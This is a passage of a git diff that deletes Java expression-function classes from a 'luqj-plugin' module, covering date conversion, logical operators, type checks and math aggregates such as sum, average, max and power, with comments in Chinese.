时间类型 - */ - enum DateEnum { - NORMAL_DATE("0"), - SQL_DATE("1"), - SQL_TIMESTAMP("2"), - SQL_TIME("3"); - - private String code; - - public boolean isEq(String code) { - if (this.code.equals(code)) { - return true; - } - return false; - } - - DateEnum(String code) { - this.code = code; - } - } - - @Override - public IParam format(IParam[] args) { - if (ParamFormat.argIsNull(args[0])) { - return null; - } - String dateType = args.length > 1 && !ParamFormat.argIsNull(args[1]) ? ParamFormat.obj2Str(args[1]) : "1"; - Long time=Long.MAX_VALUE-Long.valueOf(args[0].getVal().toString()); - if (DateEnum.SQL_DATE.isEq(dateType)) { - date.setVal(new java.sql.Date(time)); - } else if (DateEnum.NORMAL_DATE.isEq(dateType)) { - date.setVal(new Date(time)); - } else if (DateEnum.SQL_TIMESTAMP.isEq(dateType)) { - date.setVal(new java.sql.Timestamp(time)); - } else if (DateEnum.SQL_TIME.isEq(dateType)) { - date.setVal(new java.sql.Time(time)); - } - return date; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/SysTimeFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/SysTimeFunc.java deleted file mode 100644 index 635b93a..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/SysTimeFunc.java +++ /dev/null @@ -1,27 +0,0 @@ -package org.code.modules.plugins.function.method.datetime; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -import java.text.SimpleDateFormat; -import java.util.Date; - -/** - * 系统时间函数 - * Created by chenzm on 2017/9/18. - */ -public class SysTimeFunc extends AbstractDateFunc implements IFunc { - private StandTypeParam param = StandTypeParam.createParamByType(TypeEnum.String); - - @Override - public IParam format(IParam[] args) { - long milliSeconds = ParamFormat.format(args[0]).longValue(); - String outFmt = ParamFormat.obj2Str(args[1]); - SimpleDateFormat sdf = new SimpleDateFormat(outFmt); - param.setVal(sdf.format(new Date(milliSeconds))); - return param; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/ToCharFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/ToCharFunc.java deleted file mode 100644 index 9761b37..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/ToCharFunc.java +++ /dev/null @@ -1,47 +0,0 @@ -package org.code.modules.plugins.function.method.datetime; - -import com.luqj.util.date.DateUtils; -import com.luqj.util.assertion.Assert; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -import java.text.ParseException; - -/** - * 时间格式转成字符串日期 - * Created by chenzm on 2017/3/1. - */ -public class ToCharFunc extends AbstractDateFunc implements IFunc { - private StandTypeParam dateStr = StandTypeParam.createParamByType(TypeEnum.String); - - @Override - public IParam format(IParam[] args) { - if (ParamFormat.argIsNull(args[0])) { - if (args.length > 2) { - return args[2]; - } - dateStr.setVal(null); - return dateStr; - } - if (ParamFormat.isDate(args[0])) { - Assert.logic(!ParamFormat.argIsNull(args[1]), "输出的时间格式必须填写"); - if ("oracle.sql.timestamp".equalsIgnoreCase(args[0].getVal().getClass().getName())) { - java.util.Date dateVal = null; - try { - dateVal = DateUtils.getDate(args[0].getVal().toString(), "yyyy-MM-dd HH:mm:ss"); - } catch (ParseException e) { - throw new IllegalStateException("", e); - } - dateStr.setVal(DateUtils.getDateFormat(dateVal, ParamFormat.obj2Str(args[1]))); - } else { - dateStr.setVal(DateUtils.getDateFormat((java.util.Date) args[0].getVal(), ParamFormat.obj2Str(args[1]))); - } - } else { - dateStr.setVal(args[0].getVal().toString()); - } - return dateStr; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/ToDateFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/ToDateFunc.java deleted file mode 100644 index ca229cf..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/datetime/ToDateFunc.java +++ /dev/null @@ -1,74 +0,0 @@ -package org.code.modules.plugins.function.method.datetime; - -import com.luqj.util.date.DateUtils; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -import java.text.ParseException; -import java.util.Date; - -/** - * 字符串转成时间格式转换函数 - */ -public class ToDateFunc extends AbstractDateFunc implements IFunc{ - - private StandTypeParam date = StandTypeParam.createParamByType(TypeEnum.Date); - - /** - * 时间类型 - */ - enum DateEnum{ - NORMAL_DATE("0"), - SQL_DATE("1"), - SQL_TIMESTAMP("2") , - SQL_TIME("3"); - - private String code; - - public boolean isEq(String code) { - if(this.code.equals(code)) { - return true; - } - return false; - } - - DateEnum(String code) { - this.code = code; - } - } - - @Override - public IParam format(IParam[] args) { - if(ParamFormat.argIsNull(args[0])){ - date.setVal(null); - return date; - } - if(ParamFormat.argIsNull(args[1])){ - throw new IllegalArgumentException("字符串的时间格式必须填写"); - } - String dateType = args.length > 2 && !ParamFormat.argIsNull(args[2]) ? ParamFormat.obj2Str(args[2]) : "1"; - Date val = null; - try { - val = DateUtils.getDate(ParamFormat.obj2Str(args[0]), ParamFormat.obj2Str(args[1])); - } catch (ParseException e) { - throw new IllegalArgumentException("SQL时间转换异常", e); - } - if(val == null) { - date.setVal(null); - return date; - } - if(DateEnum.SQL_DATE.isEq(dateType)){ - date.setVal(new java.sql.Date(val.getTime())); - } else if(DateEnum.NORMAL_DATE.isEq(dateType)){ - date.setVal(val); - }else if(DateEnum.SQL_TIMESTAMP.isEq(dateType)) { - date.setVal(new java.sql.Timestamp(val.getTime())); - }else if(DateEnum.SQL_TIME.isEq(dateType)){ - date.setVal(new java.sql.Time(val.getTime())); - } - return date; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/exception/TryCatchFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/exception/TryCatchFunc.java deleted file mode 100644 index 88bbdc7..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/exception/TryCatchFunc.java +++ /dev/null @@ -1,26 +0,0 @@ -package org.code.modules.plugins.function.method.exception; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractTryCatchFunc; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -public class TryCatchFunc extends AbstractTryCatchFunc implements IFunc { - - private IParam result = StandTypeParam.createParamByType(TypeEnum.Boolean); - - @Override - public IParam fx(IParam... args) { - boolean isError = isError(args[0]); - if(!isError) { - return args[0]; - } - if(args.length == 1) { - result.setVal(false); - }else { - return args[1]; - } - return result; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/information/ChooseFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/information/ChooseFunc.java deleted file mode 100644 index 000a765..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/information/ChooseFunc.java +++ /dev/null @@ -1,25 +0,0 @@ -package org.code.modules.plugins.function.method.information; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import org.code.modules.plugins.function.param.ParamFormat; - -/** - * 选择函数 - * @author chenzm - */ -public class ChooseFunc extends AbstractLogicalFunc implements IFunc{ - - @Override - public IParam _fx(IParam[] args) { - if(ParamFormat.argIsNull(args[0])) { - return null; - } - int index = ParamFormat.format(args[0]).intValue(); - if(index >= args.length || index <= 0 ) { - throw new IllegalStateException("ChooseFunc索引越界 index:" + index + " 参数个数:" + args.length); - } - return args[index]; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/information/IsBlankFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/information/IsBlankFunc.java deleted file mode 100644 index fc1a3b6..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/information/IsBlankFunc.java +++ /dev/null @@ -1,23 +0,0 @@ -package org.code.modules.plugins.function.method.information; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import com.luqj.util.StringUtils; - -public class IsBlankFunc extends AbstractLogicalFunc implements IFunc{ - - @Override - public IParam _fx(IParam[] args) { - if(args.length == 0 ) { - throw new IllegalStateException("IsBlankFunc函数参数只能一个"); - } - if(args[0].getVal() == null ) { - return _true(); - }else if(args[0].getValType() == String.class && - StringUtils.isBlank((String)args[0].getVal())) { - return _true(); - } - return _false(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/information/IsNumberFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/information/IsNumberFunc.java deleted file mode 100644 index b6c834f..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/information/IsNumberFunc.java +++ /dev/null @@ -1,21 +0,0 @@ -package org.code.modules.plugins.function.method.information; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import org.code.modules.plugins.function.param.ParamFormat; - -public class IsNumberFunc extends AbstractLogicalFunc implements IFunc{ - - @Override - public IParam _fx(IParam[] args) { - if(args.length == 0 ) { - throw new IllegalStateException("IsNumberFunc函数参数只能一个"); - } - - if(args[0].getVal() != null && ParamFormat.isNumber(args[0])) { - return _true(); - } - return _false(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/information/IsTextFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/information/IsTextFunc.java deleted file mode 100644 index 5660947..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/information/IsTextFunc.java +++ /dev/null @@ -1,19 +0,0 @@ -package org.code.modules.plugins.function.method.information; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; - -public class IsTextFunc extends AbstractLogicalFunc implements IFunc{ - - @Override - public IParam _fx(IParam[] args) { - if(args.length == 0 ) { - throw new IllegalStateException("IsTextFunc函数参数只能一个"); - } - if(args[0].getVal() != null && args[0].getValType() == String.class) { - return _true(); - } - return _false(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/AndFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/AndFunc.java deleted file mode 100644 index db91993..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/AndFunc.java +++ /dev/null @@ -1,19 +0,0 @@ -package org.code.modules.plugins.function.method.logical; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import org.code.modules.plugins.function.param.ParamFormat; - -public class AndFunc extends AbstractLogicalFunc implements IFunc{ - - @Override - public IParam _fx(IParam[] args) { - for(IParam arg : args) { - if(ParamFormat.format(arg).intValue() == 0) { - return _false(); - } - } - return _true(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/EqFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/EqFunc.java deleted file mode 100644 index 2179f3a..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/EqFunc.java +++ /dev/null @@ -1,24 +0,0 @@ -package org.code.modules.plugins.function.method.logical; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import org.code.modules.plugins.function.param.ParamFormat; - -/** - * @author chenqg - * @date 2018/6/28 19:02 - * @Description: TODO - */ -public class EqFunc extends AbstractLogicalFunc implements IFunc { - @Override - public IParam _fx(IParam[] args) { - if (args.length != 2) { - throw new IllegalArgumentException("EqFunc函数的参数必须是两个"); - } - if (ParamFormat.isEqual(args[0], args[1])) { - return _true(); - } - return _false(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/GtFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/GtFunc.java deleted file mode 100644 index 71337fc..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/GtFunc.java +++ /dev/null @@ -1,20 +0,0 @@ -package org.code.modules.plugins.function.method.logical; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import org.code.modules.plugins.function.param.ParamFormat; - -public class GtFunc extends AbstractLogicalFunc implements IFunc{ - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 2) { - throw new IllegalArgumentException("GtFunc函数的参数必须是两个"); - } - if(ParamFormat.format(args[0]).doubleValue() > ParamFormat.format(args[1]).doubleValue()) { - return _true(); - } - return _false(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/GteFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/GteFunc.java deleted file mode 100644 index 3b8e918..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/GteFunc.java +++ /dev/null @@ -1,20 +0,0 @@ -package org.code.modules.plugins.function.method.logical; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import org.code.modules.plugins.function.param.ParamFormat; - -public class GteFunc extends AbstractLogicalFunc implements IFunc{ - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 2) { - throw new IllegalArgumentException("GteFunc函数的参数必须是两个"); - } - if(ParamFormat.format(args[0]).doubleValue() >= ParamFormat.format(args[1]).doubleValue()) { - return _true(); - } - return _false(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/IfFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/IfFunc.java deleted file mode 100644 index 78f6882..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/IfFunc.java +++ /dev/null @@ -1,20 +0,0 @@ -package org.code.modules.plugins.function.method.logical; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import org.code.modules.plugins.function.param.ParamFormat; - -public class IfFunc extends AbstractLogicalFunc implements IFunc{ - - @Override - public IParam _fx(IParam[] args) { - if(args.length <= 1) { - throw new IllegalArgumentException("IfFunc函数的参数必须大于一个"); - } - if(ParamFormat.format(args[0]).intValue() != 0){ - return args[1]; - } - return args[2]; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/LtFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/LtFunc.java deleted file mode 100644 index 0d8a538..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/LtFunc.java +++ /dev/null @@ -1,20 +0,0 @@ -package org.code.modules.plugins.function.method.logical; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import org.code.modules.plugins.function.param.ParamFormat; - -public class LtFunc extends AbstractLogicalFunc implements IFunc{ - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 2) { - throw new IllegalArgumentException("LtFunc函数的参数必须是两个"); - } - if(ParamFormat.format(args[0]).doubleValue() < ParamFormat.format(args[1]).doubleValue()) { - return _true(); - } - return _false(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/LteFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/LteFunc.java deleted file mode 100644 index ff3c2ff..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/LteFunc.java +++ /dev/null @@ -1,20 +0,0 @@ -package org.code.modules.plugins.function.method.logical; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import org.code.modules.plugins.function.param.ParamFormat; - -public class LteFunc extends AbstractLogicalFunc implements IFunc{ - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 2) { - throw new IllegalArgumentException("LteFunc函数的参数必须是两个"); - } - if(ParamFormat.format(args[0]).doubleValue() <= ParamFormat.format(args[1]).doubleValue()) { - return _true(); - } - return _false(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/MatchFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/MatchFunc.java deleted file mode 100644 index c9cd528..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/MatchFunc.java +++ /dev/null @@ -1,26 +0,0 @@ -package org.code.modules.plugins.function.method.logical; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; - -/** - * 逻辑匹配函数 - * Created by chenzm on 2017/9/18. - */ -public class MatchFunc extends AbstractLogicalFunc implements IFunc { - - @Override - public IParam _fx(IParam[] args) { - int length = args.length / 2 * 2; - for(int i = 0; i < length; ) { - if(ParamFormat.toBoolean(args[i])) { - return args[i + 1]; - } - i = i + 2; - } - return StandTypeParam.createConstantParam(""); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/NotFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/NotFunc.java deleted file mode 100644 index 114822a..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/NotFunc.java +++ /dev/null @@ -1,17 +0,0 @@ -package org.code.modules.plugins.function.method.logical; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import org.code.modules.plugins.function.param.ParamFormat; - -public class NotFunc extends AbstractLogicalFunc implements IFunc{ - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 1) { - throw new IllegalArgumentException("NotFunc函数的参数只能有一个"); - } - return ParamFormat.format(args[0]).intValue() == 0 ? _true() : _false(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/OrFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/OrFunc.java deleted file mode 100644 index 99bd3e1..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/OrFunc.java +++ /dev/null @@ -1,19 +0,0 @@ -package org.code.modules.plugins.function.method.logical; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import org.code.modules.plugins.function.param.ParamFormat; - -public class OrFunc extends AbstractLogicalFunc implements IFunc{ - - @Override - public IParam _fx(IParam[] args) { - for(IParam arg : args) { - if(ParamFormat.format(arg).intValue() != 0) { - return _true(); - } - } - return _false(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/TrueFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/TrueFunc.java deleted file mode 100644 index 021d41c..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/TrueFunc.java +++ /dev/null @@ -1,16 +0,0 @@ -package org.code.modules.plugins.function.method.logical; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; - -public class TrueFunc extends AbstractLogicalFunc implements IFunc{ - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 0) { - throw new IllegalArgumentException("TrueFunc函数的不能有参数"); - } - return _true(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/XorFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/XorFunc.java deleted file mode 100644 index d5e44d6..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/logical/XorFunc.java +++ /dev/null @@ -1,21 +0,0 @@ -package org.code.modules.plugins.function.method.logical; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractLogicalFunc; -import org.code.modules.plugins.function.param.ParamFormat; - -public class XorFunc extends AbstractLogicalFunc implements IFunc{ - @Override - public IParam _fx(IParam[] args) { - int t = ParamFormat.format(args[0]).intValue(); - for(int i = 1; i < args.length; i ++) { - if( t != ParamFormat.format(args[i]).intValue()) {//不同true - t = 1; - }else { - t = 0; - } - } - return t != 0 ? _true() : _false(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/AvgFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/AvgFunc.java deleted file mode 100644 index 9b3c12b..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/AvgFunc.java +++ /dev/null @@ -1,34 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical; - - -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -/** - * 平均值函数 - * @author chenzm - */ -public class AvgFunc extends AbstractMathFunc implements IFunc{ - - final Double INIT_VALUE = Double.valueOf(0); - - private StandTypeParam avg = StandTypeParam.createConstantParam(INIT_VALUE); - - @Override - public IParam _fx(IParam[] args) { - - if(isReset()) { - avg.setVal(INIT_VALUE); - } - - Double t = (Double)avg.getVal(); - for(IParam arg : args) { - t += NumFormat.$Double(arg.getVal()); - } - avg.setVal(t * 1.0f / args.length); - return avg; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/MathFormulaFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/MathFormulaFunc.java deleted file mode 100644 index 3ebe2f8..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/MathFormulaFunc.java +++ /dev/null @@ -1,45 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical; - -import com.luqj.util.ArithmeticEnum;; -import com.luqj.util.assertion.Assert; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; - -/** - * 数学算式函数(加减乘除) - * - * @author chenzm - */ -public class MathFormulaFunc extends AbstractMathFunc implements IFunc { - - protected ArithmeticEnum op; - - private StandTypeParam result = null; - - public MathFormulaFunc(ArithmeticEnum op) { - this.op = op; - } - - public MathFormulaFunc() { - } - - @Override - public IParam _fx(IParam[] args) { - if (args.length < 2 || args.length > 3) { - throw new IllegalArgumentException(op.getDesc() + "函数的参数最多是三个"); - } - if (result == null) { - if (this.op == null) { - Assert.logic(args.length == 3, "函数的参数必须是三个"); - this.op = ArithmeticEnum.getArithmeticEnum(ParamFormat.obj2Str(args[2])); - Assert.logic(this.op != null, "暂不支持" + ParamFormat.obj2Str(args[2]) + "操作符号"); - } - this.result = super.initStandTypeParam(args); - } - formulaOp(op, args[0], args[1], result); - return result; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/MaxFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/MaxFunc.java deleted file mode 100644 index 43fccce..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/MaxFunc.java +++ /dev/null @@ -1,31 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical; - -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -public class MaxFunc extends AbstractMathFunc implements IFunc{ - - final double INIT_VALUE = Integer.MIN_VALUE * 1.0d; - - private StandTypeParam max = StandTypeParam.createConstantParam(INIT_VALUE); - - @Override - public IParam _fx(IParam[] args) { - if(isReset()) { - max.setVal(INIT_VALUE); - } - - Double t = (Double)max.getVal(); - for(IParam arg : args) { - Double val = NumFormat.$Double(arg.getVal()); - if(t.compareTo(val) < 0) { - t = val; - } - } - max.setVal(t); - return max; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/MinFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/MinFunc.java deleted file mode 100644 index 48ea31f..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/MinFunc.java +++ /dev/null @@ -1,31 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical; - -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -public class MinFunc extends AbstractMathFunc implements IFunc{ - - final double INIT_VALUE = Integer.MAX_VALUE * 1.0; - - private StandTypeParam min = StandTypeParam.createConstantParam(INIT_VALUE); - - @Override - public IParam _fx(IParam[] args) { - if(isReset()) { - min.setVal(INIT_VALUE); - } - - Double t = (Double)min.getVal(); - for(IParam arg : args) { - Double val = NumFormat.$Double(arg.getVal()); - if(t.compareTo(val) > 0) { - t = val; - } - } - min.setVal(t); - return min; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/PowFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/PowFunc.java deleted file mode 100644 index 8a92e6c..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/PowFunc.java +++ /dev/null @@ -1,28 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.ParamFormat; -import org.code.modules.plugins.function.param.StandTypeParam; -import org.code.modules.plugins.types.TypeEnum; - -/** - * Created by chenzm on 2017/2/22. - */ -public class PowFunc extends AbstractMathFunc implements IFunc { - - private StandTypeParam min = StandTypeParam.createParamByType(TypeEnum.Double); - - @Override - public IParam _fx(IParam[] args) { - if(args.length != 2){ - throw new IllegalArgumentException("参数必须是一个"); - } - if(ParamFormat.argIsNull(args[0])) { - return null; - } - min.setVal(Math.pow(ParamFormat.format(args[0]).doubleValue(), ParamFormat.format(args[1]).intValue())); - return min; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/SumFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/SumFunc.java deleted file mode 100644 index fd6d852..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/SumFunc.java +++ /dev/null @@ -1,33 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical; - -import com.luqj.util.NumFormat; -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; - -/** - * 求和函数 - * @author chenzm - */ -public class SumFunc extends AbstractMathFunc implements IFunc{ - - final Double INIT_VALUE = Double.valueOf(0); - - private StandTypeParam sum = StandTypeParam.createConstantParam(INIT_VALUE); - - @Override - public IParam _fx(IParam[] args) { - - if(isReset()) { - sum.setVal(INIT_VALUE); - } - - Double t = (Double)sum.getVal(); - for(IParam arg : args) { - t += NumFormat.$Double(arg.getVal()); - } - sum.setVal(t); - return sum; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RAvgFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RAvgFunc.java deleted file mode 100644 index db056ab..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RAvgFunc.java +++ /dev/null @@ -1,37 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - -import org.code.modules.plugins.function.IFunc; -import org.code.modules.plugins.function.IParam; -import org.code.modules.plugins.function.method.AbstractMathFunc; -import org.code.modules.plugins.function.param.StandTypeParam; -import com.luqj.util.NumFormat; - -/** - * 平均值函数 - * Created by lucheng on 2017/8/29. - */ -public class RAvgFunc extends AbstractMathFunc implements IFunc { - - final Double INIT_VALUE = Double.valueOf(0); - - private StandTypeParam avg = StandTypeParam.createConstantParam(INIT_VALUE); - - private Integer count = 0; - - private Double sum = Double.valueOf(0); - - @Override - public IParam _fx(IParam[] args) { - count++; - for (IParam arg : args) { - sum += NumFormat.$Double(arg.getVal()); - } - double value = (double) Math.round(sum * 100 / count) / 100; - avg.setVal(value); - return avg; - } - - public Double getAvgValue() { - return (Double) avg.getVal(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMassFunc.java b/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMassFunc.java deleted file mode 100644 index ffe8ea5..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/function/method/mathematical/dataset/RMassFunc.java +++ /dev/null @@ -1,39 +0,0 @@ -package org.code.modules.plugins.function.method.mathematical.dataset; - - -import 